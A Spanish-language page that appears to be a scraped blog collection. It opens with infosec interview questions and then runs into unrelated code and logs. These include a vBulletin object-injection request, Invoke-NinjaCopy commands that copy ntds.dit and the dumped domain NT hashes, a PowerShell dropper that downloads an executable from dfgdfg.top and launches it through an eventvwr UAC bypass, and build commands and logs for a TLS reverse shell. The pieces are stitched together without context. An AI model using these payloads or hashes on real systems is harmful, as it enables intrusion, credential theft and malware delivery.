• ¿Qué es DNS?
• ¿Diferencias entre TCP y UDP?
• ¿Cómo maneja HTTP el estado?
• ¿TLS usa cifrado simétrico o asimétrico?
• ¿Qué es "Riesgo"? ¿Qué es "Gestión de riesgos"?
• ¿Qué parte del trío "confidentiality, integrity, and availability" de la CIA es la más importante?
• Como Pentester, para ti ¿qué es más importante, ser un hax0r o hacer un buen trabajo?
• ¿Cómo le explicarías a un usuario por qué no les damos administrador local en su máquina?
• Responde verdadero o falso y explica tu respuesta: "La autenticación de dos factores protege contra el secuestro de la sesión".
• Si fueras una amenaza, ¿cómo comprometerías a una organización en los tres dominios (físico, digital y humano)?
• Nombra 3 protocolos de Internet que usan TCP, nombre 3 que usan UDP, Nombra 2 que no usan ninguno y en qué puerto se ejecutan.
• Si estoy con mi portátil en la oficina y acabo de enchufar el cable de red. ¿Cuántos paquetes debe lanzar mi NIC para completar un traceroute a twitter.com?
• ¿Cuál es la diferencia entre la codificación, el cifrado y el hash?
• ¿Puedes describir que son las tablas rainbow?
• Si tuvieras que cifrar y comprimir datos durante la transmisión, ¿qué harías primero y por qué?
• En criptografía de clave pública, tienes una clave pública y privada, y a menudo realizas tanto funciones de cifrado como de firma. ¿Qué clave se usa para cada función?
• ¿Cuáles son las ventajas que ofrecen los programas de bug bounty sobre las auditorías normales?
• ¿Quién es más peligroso para una organización, las personas internas o las externas?
• ¿A quién admiras en el campo de la seguridad de la información? ¿Por qué?
• Acabas de entrar en el ascensor con el CEO y te pregunta, ¿qué tan seguros estamos? ¿Qué dices?
• Tienes un presupuesto y recursos ilimitados. Dibuja la red corporativa más segura para la organización. Debe tener componentes específicos que incluyan pero no se limiten a: Internet, una subred de usuario, al menos un servidor de Active Directory, un servidor web (con base de datos de back-end) en Internet, un servidor de Recursos Humanos, WiFi para sus usuarios, una VPN, etc.

• ¿Qué es Cross-Site Request Forgery?
• ¿En qué categoría cae XXE?
• ¿Cómo puede una inyección SQL derivar en ejecución remota de código?
• ¿Cuál es el aspecto de seguridad más importante con los microservicios y las APIs?
• Tengo una subred /24 de hosts en Internet que me gustaría que auditaras. Dime, en detalle, todos los pasos que deberás seguir para la evaluación.
• En una auditoría acabas de comprometer un portátil Mac OS X dentro de una subred de usuario corporativo. Tu objetivo es obtener los hashes de Active Directory desde los servidores de AD. ¿Cómo se logra eso?
• ¿Qué tipo de ataque se considera ARP Spoofing y cómo podría aprovecharlo en un test de intrusión?
• Durante un pentest, encuentras una instancia de Outlook Web Access que pertenece al cliente. Describe cómo lo atacarías.
• Estás realizando un pentest "onsite". No debes realizar ningún escaneo activo. ¿Cómo reunirías credenciales?
• ¿Cómo apuntarías a una base de datos que sabes que se encuentra detrás de un servidor de salto con una dirección IP desconocida?
• Describe el último programa o script que desarrollaste. ¿Qué problema resolvió?
• ¿A qué tipo de ataques eres vulnerable cuando usas cifrado débil?
• ¿Qué departamento de una organización es más probable que sea atacado primero?
• ¿qué es lo que normalmente te encontrarás "a huevo" como pentester?
• Describe tres de las formas más comunes en las que un atacante externo podría intentar obtener acceso a una red.
• ¿En qué puerto se ejecuta ping?
• ¿Cómo evadirías un IDS de red?
• Dinos algunas cabeceras HTTP y por qué son tan importantes para un analista de seguridad.
• Supongamos que tienes acceso físico a una máquina en un dominio corporativo que estas probando. Estás conectado pero no tienes credenciales para el dominio o la máquina local. También tienes tu portátil. ¿Cómo comenzarías a probar?
• ¿Cuál es el propósito de "same origin policy" en relación con el modelo de objeto del documento?
• Estás lanzando payload https reverse de meterpreter ontra un host que es vulnerable a tu ataque, pero una vez que escribes "explotar" no sucede nada después de lanzar el ataque, ¿cómo lo solucionarías? (O ¿qué cambiarías para obtener tu sesión de meterpreter?

• ¿Cuál es la razón principal para no subir malware a VT?
• ¿Qué evidencia de DFIR reúnes primero, y por qué?
• ¿Por qué es esencial monitorizar DNS?
• Supongamos que un usuario te envía un supuesto correo electrónico de phishing. ¿Cómo respondes y lo tratas?
• Excluyendo "atomic" IoCs, brinda 3 ejemplos de cómo detectaría actividad maliciosa en la red.
• ¿Qué porcentaje de malware "in the wild" crees que el AV puede detectar?
• Explica por qué se necesita considerar el alcance en la etapa de "identificación" de IR.
• ¿Cuál es el problema principal con el historial de bash como un artefacto forense, y el nombre de una manera de recrear parcialmente estos datos durante una investigación
• ¿Cómo identificarás un archivo malicioso sin ejecutarlo?
• ¿Cómo desempaquetas un malware? Además, ¿de cuántas maneras?
• ¿Cómo intenta el malware evadir el análisis? ¿Cuáles son las formas?
• Dado un binario, ¿cómo dirías que ha sido empaquetado y cómo averiguarías qué packer se usó?
• Nombra al menos 3 escáneres de vulnerabilidades de diff y patrones para identificarlos
• ¿Cómo validarías un falso positivo?
• ¿Cómo se validaría un falso negativo?
• ¿Cómo diseñarías y ejecutarías un plan de respuesta ante incidentes?
• ¿Qué información incluirías en un informe de SOC?
• Describe cómo funciona el handshake TCP
• ¿Cuál es la diferencia entre un IDS y un IPS? Da ejemplos de cada uno.
• Nombra cuatro tipos de registros DNS y lo que significan.
• Recibes un informe de que el sitio web LAMP de tu empresa puede estar siendo DDoSeado. ¿Cómo lo investigas?
• Digamos, le pedimos que implemente un nuevo SIEM, ¿cuál será tu enfoque?
• Explicar la diferencia entre autenticación local y de red y guíame a través del proceso de autenticación.
• ¿Cuáles serán tus principales fuentes de datos para detectar la actividad de una botnet?
• ¿Cuál es una desventaja de la detección de malware basada en firmas?
• Se ha informado de un incidente en el que se identificaba un host de empresa que se comunicaba con un host externo malicioso conocido. Los que respondieron al incidente ya bloquearon la comunicación y solicitaron el disco para la investigación forense. Eres el analista forense de turno... cuando llega el disco. ¿cómo vas a comenzar la investigación?

• ¿Cómo evitarías ASLR?
• ¿Cómo evitarías SafeSEH?
• Explica el comportamiento y tu metodología de análisis de cualquier nueva APT
• ¿Qué es DEP? ¿Cómo puede ser bypasseado?
• Explica un archivo PE.
• ¿Cómo funciona el keylogging?
• ¿Qué es la inyección de código?
• ¿Cuáles son las API utilizadas por el malware para conectarse al servidor?
• ¿Cómo se puede descomprimir un malware y de cuántas maneras?
• ¿De qué manera el malware intenta evadir el análisis?
• Explica las técnicas Anti-Debugging empleadas por una macro maliciosa.
• ¿Cuáles son los diferentes tipos de breakpoints, cuál es su uso y cuándo utilizar esos breakpoints?
• Describe qué es el desbordamiento de búfer y cómo lo probarías.
• Describe qué es SEH y cómo lo explotas?
• Describe cómo los módulos y plugins de depuración pueden acelerar el desarrollo inicial de exploits
• ¿Cómo funcionan las interrupciones en un depurador? ¿Cuáles son los códigos de operación para eso?
• ¿Cómo funcionan las vulnerabilidades UAF?
• Diferencia entre cifrado simétrico y asimétrico
• En la criptografía de clave pública, ¿qué clave se utiliza para qué función (piensa en pública/privada y cifrado/firma)?
• ¿Cuál de estos algoritmos es mejor que otros y por qué - AES-128, AES-196 y AES-256?
• ¿Cuál es la diferencia entre el modo CBC y el modo de cifrado EBC?
• ¿Qué es un ejecutable portable de Windows?
• ¿Para qué se utiliza el registro ESP en la arquitectura Intel x86-32?
• Durante la ejecución de una pieza de malware en un entorno de laboratorio virtual aislado, se observó que la muestra realizaba una solicitud HTTP GET para un archivo de texto. Debido a que el laboratorio está aislado de Internet, la muestra no recibió el archivo de texto. ¿Qué harías para avanzar en la investigación?

POST /vb533/ajax/api/template/cacheTemplates HTTP/1.1
Host: vb533.test
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_0) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/61.0.3163.100 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: it-IT,it;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 125

templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"*imagefilelocation";s:13:"/path/to/file";}

HTTP/1.1 200 OK
Date: Fri, 27 Oct 2017 09:27:52 GMT
Server: Apache/2.4.18 (Ubuntu)
Set-Cookie: sessionhash=409d8f4b16ebb55471e63509834d0eff; path=/; HttpOnly
Set-Cookie: lastvisit=1509096472; path=/; HttpOnly
Set-Cookie: lastactivity=1509096472; path=/; HttpOnly
Set-Cookie: sessionhash=44b1e8d2d433031ec2501649630dd8bf; path=/; HttpOnly
Cache-Control: max-age=0,no-cache,no-store,post-check=0,pre-check=0
Expires: Sat, 1 Jan 2000 01:00:00 GMT
Last-Modified: Fri, 27 Oct 2017 09:27:52 GMT
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 2101
Connection: close
Content-Type: application/json; charset=UTF-8
 
{"errors":[["unexpected_error","Cannot use object of type vB_Image_ImageMagick as array"]]}

. .\Invoke-NinjaCopy
Invoke-NinjaCopy -path "c:\your\path\ntds\ntds.dit" -localdestination "c:\temp\ntds.dit"
Invoke-NinjaCopy -path "c:\windows\system32\config\SYSTEM" -localdestination "c:\temp\SYSTEM"

esedbexport 20171128

Opening file.
Exporting table 1 (MSysObjects) out of 12.
Exporting table 2 (MSysObjectsShadow) out of 12.
Exporting table 3 (MSysUnicodeFixupVer2) out of 12.
Exporting table 4 (datatable) out of 12.
Exporting table 5 (hiddentable) out of 12.
Exporting table 6 (link_table) out of 12.
Exporting table 7 (sdpropcounttable) out of 12.
Exporting table 8 (sdproptable) out of 12.
Exporting table 9 (sd_table) out of 12.
Exporting table 10 (MSysDefrag2) out of 12.
Exporting table 11 (quota_table) out of 12.
Exporting table 12 (quota_rebuild_progress_table) out of 12.
Export completed.

[+] Started at: Sun, 17 Dec 2017 01:18:57 UTC
[+] Started with options:
    [-] LM hash output filename: LM.out
    [-] NT hash output filename: NT.out
    [-] Extracting password hashes
    [-] Hash output format: john
The directory (/home/test/extract) specified does not exists!
Would you like to create it? [Y/N] Y

[+] Initialising engine...
[+] Loading saved map files (Stage 1)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/offlid.map'
[+] Rebuilding maps...
[+] Scanning database - 100% -> 3464 records processed
[+] Sanity checks...
      Schema record id: 1811
      Schema type id: 10
[+] Extracting schema information - 100% -> 1549 records processed
[+] Loading saved map files (Stage 2)...
[!] Warning: Opening saved maps failed: [Errno 2] No such file or directory: '/home/test/extract/links.map'
[+] Rebuilding maps...
[+] Extracting object links...

List of users:
==============
Record ID:            3562
User name:            Administrator
User principal name:  
SAM Account name:     Administrator
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 5f9433a8-7363-4f5e-8d3c-4a4dacca157c
SID:                  S-1-5-21-1036816736-4081296861-1938768537-500
When created:         2016-07-19 23:33:08+00:00
When changed:         2017-07-21 14:39:07+00:00
Account expires:      Never
Password last set:    2017-07-21 14:39:07.354826+00:00
Last logon:           2017-07-21 14:48:56.134512+00:00
Last logon timestamp: 2017-07-21 13:52:48.669583+00:00
Bad password time     2017-07-21 13:52:19.684732+00:00
Logon count:          63
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Administrator
Password hashes:
    Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::

Record ID:            3563
User name:            Guest
User principal name:  
SAM Account name:     Guest
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 2bf50d7e-79e6-4aab-a81c-15447a1b6f7e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-501
When created:         2016-07-19 23:33:08+00:00
When changed:         2016-07-19 23:33:08+00:00
Account expires:      Never
Password last set:    Never
Last logon:           Never
Last logon timestamp: Never
Bad password time     2016-11-25 22:46:55.531557+00:00
Logon count:          0
Bad password count:   1
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    PWD_NOTREQD
    NORMAL_ACCOUNT
    DONT_EXPIRE_PASSWORD
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, Guest
Password hashes:

Record ID:            3609
User name:            krbtgt
User principal name:  
SAM Account name:     krbtgt
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 ce21ca0e-4f4d-49c9-9942-40b0d6ae913d
SID:                  S-1-5-21-1036816736-4081296861-1938768537-502
When created:         2016-07-19 23:34:47+00:00
When changed:         2017-07-21 13:57:55+00:00
Account expires:      Never
Password last set:    2017-07-21 13:57:55.522122+00:00
Last logon:           Never
Last logon timestamp: Never
Bad password time     Never
Logon count:          0
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    ACCOUNTDISABLE
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, krbtgt
Password hashes:
    krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::

Record ID:            3776
User name:            usuario
User principal name:  
SAM Account name:     usuario
SAM Account type:     SAM_NORMAL_USER_ACCOUNT
GUID:                 fcf6f550-6d74-434e-a2c0-c6b1e688cb6e
SID:                  S-1-5-21-1036816736-4081296861-1938768537-1108
When created:         2017-07-21 14:00:11+00:00
When changed:         2017-07-21 14:14:31+00:00
Account expires:      Never
Password last set:    2017-07-21 14:00:11.179960+00:00
Last logon:           2017-07-21 14:15:27.213569+00:00
Last logon timestamp: 2017-07-21 14:14:31.615071+00:00
Bad password time     Never
Logon count:          2
Bad password count:   0
Dial-In access perm:  Controlled by policy
User Account Control:
    NORMAL_ACCOUNT
Ancestors:
    $ROOT_OBJECT$, local, mrb3n, Users, usuario
Password hashes:
    usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

Administrator:$NT$4fe0f244d7e64ebd13ba2489c05e6435:S-1-5-21-1036816736-4081296861-1938768537-500::
krbtgt:$NT$c28fbb9dfcb526a1cce5db4988298bde:S-1-5-21-1036816736-4081296861-1938768537-502::
usuario:$NT$8c3efc486704d2ee71eebe71af14d86c:S-1-5-21-1036816736-4081296861-1938768537-1108::

from random import choice
from random import random
import base64

def main():
    SIZE = 21
    print(makeTree(SIZE))
    foo = "wqFEZXNkZSBIYWNrcGxheWVycyBvcyBkZXNlYW1vcyBmZWxpeiBuYXZpZGFkISBTZWQgbWFsb3MgOykg"
    print base64.b64decode(foo)

def makeTree(size):
    prob_gr = 0.6
    colours = [31, 33, 34, 35, 36, 37]
    decs = ['@', '&', '*', chr(169), chr(174)]
    blink_col = "\033[5;{0}m{1}\033[0m"
    leaf = "\033[32m#\033[0m"
    width = 1
    tree = "\n{}*\n".format('' * (size))
    for pad in range(size - 1, -1, -1):
        width += 2
        temp = ""
        for j in range(width):
            if random() < prob_gr:
                temp += leaf
            else:
                temp += blink_col.format(choice(colours), choice(decs))
        tree += "{0}{1}\n".format('' * pad, temp)
    return tree + "{0}{1}\n".format('' * (size - 1), "000") * 2

if __name__ == "__main__":
    main()

1:  “C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”  
2:  -WindowStyle Hidden $wscript = new-object -ComObject WScript.Shell;  
3:  $webclient = new-object System.Net.WebClient;  
4:  $random = new-object random;  
5:  $urls = ‘http://dfgdfg.top/officsemgmts.exe’.Split(‘,’);  
6:  $name = $random.next(1, 65536);  
7:  $path = $env:temp + ‘\’ + $name + ‘.exe’;  
8:  $hkey = ‘HKCU\Software\Classes\mscfile\shell\open\command\’;  
9:  $sleep = 3000;  
10:  foreach($url in $urls){try{  
11:       $webclient.DownloadFile($url.ToString(), $path);  
12:       $wscript.RegWrite($hkey, $path);  
13:       Start-Sleep -m $sleep;  
14:       Start-Process -WindowStyle hidden -FilePath ‘eventvwr.exe’;  
15:       Start-Sleep -m $sleep;  
16:       $wscript.RegDelete($hkey);  
17:       $process = Get-Process $name -ErrorAction silentlycontinue;  
18:       if(!$process){Start-Process -WindowStyle hidden -FilePath $path;}break;}  
19:            catch{write-host $_.Exception.Message;}  

Descripción

$ make depends
openssl req -subj '/CN=sysdream.com/O=Sysdream/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
.....................................++
............................................++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

# Custom target
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make windows32 LHOST=192.168.0.12 LPORT=1234

# Custom target
$ make GOOS=linux GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make linux32 LHOST=192.168.0.12 LPORT=1234

$ make macos LHOST=192.168.0.12 LPORT=1234

$ openssl s_server -cert server.pem -key server.key -accept 1234
Using default temp DH parameters
ACCEPT
bad gethostbyaddr
-----BEGIN SSL SESSION PARAMETERS-----
MHUCAQECAgMDBALALwQgsR3QwizJziqh4Ps3i+xHQKs9lvp5RfsYPWjEDB68Z4kE
MHnP0OD99CHv2u27THKvCHCggKEpgrPnKH+vNGJGPJZ42QylfkekhSwY5Mtr5qYI
5qEGAgRYgSfgogQCAgEspAYEBAEAAAA=
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA:AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:DES-CBC3-SHA
Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Shared Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Supported Elliptic Curve Point Formats: uncompressed
Supported Elliptic Curves: P-256:P-384:P-521
Shared Elliptic curves: P-256:P-384:P-521
CIPHER is ECDHE-RSA-AES128-GCM-SHA256
Secure Renegotiation IS supported
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

$ socat readline openssl-listen:1234,fork,reuseaddr,verify=0,cert=server.pem
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

[172.17.0.2][Sessions: 0][Jobs: 0]: > use exploit/multi/handler
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set payload python/shell_reverse_tcp_ssl
payload => python/shell_reverse_tcp_ssl
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lhost 192.168.122.1
lhost => 192.168.122.1
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lport 4444
lport => 4444
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set handlersslcert /tmp/data/server.pem
handlersslcert => /tmp/data/server.pem
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set exitonsession false
exitonsession => false
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > exploit -j
[*] Exploit running as background job.

[-] Handler failed to bind to 192.168.122.1:4444
[*] Started reverse SSL handler on 0.0.0.0:4444
[*] Starting the payload handler...
[172.17.0.2][Sessions: 0][Jobs: 1]: exploit(handler) >
[*] Command shell session 1 opened (172.17.0.2:4444 -> 172.17.0.1:51995) at 2017-02-09 12:07:51 +0000
[172.17.0.2][Sessions: 1][Jobs: 1]: exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\lab1\Downloads>whoami
whoami
desktop-jcfs2ok\lab1

C:\Users\lab1\Downloads>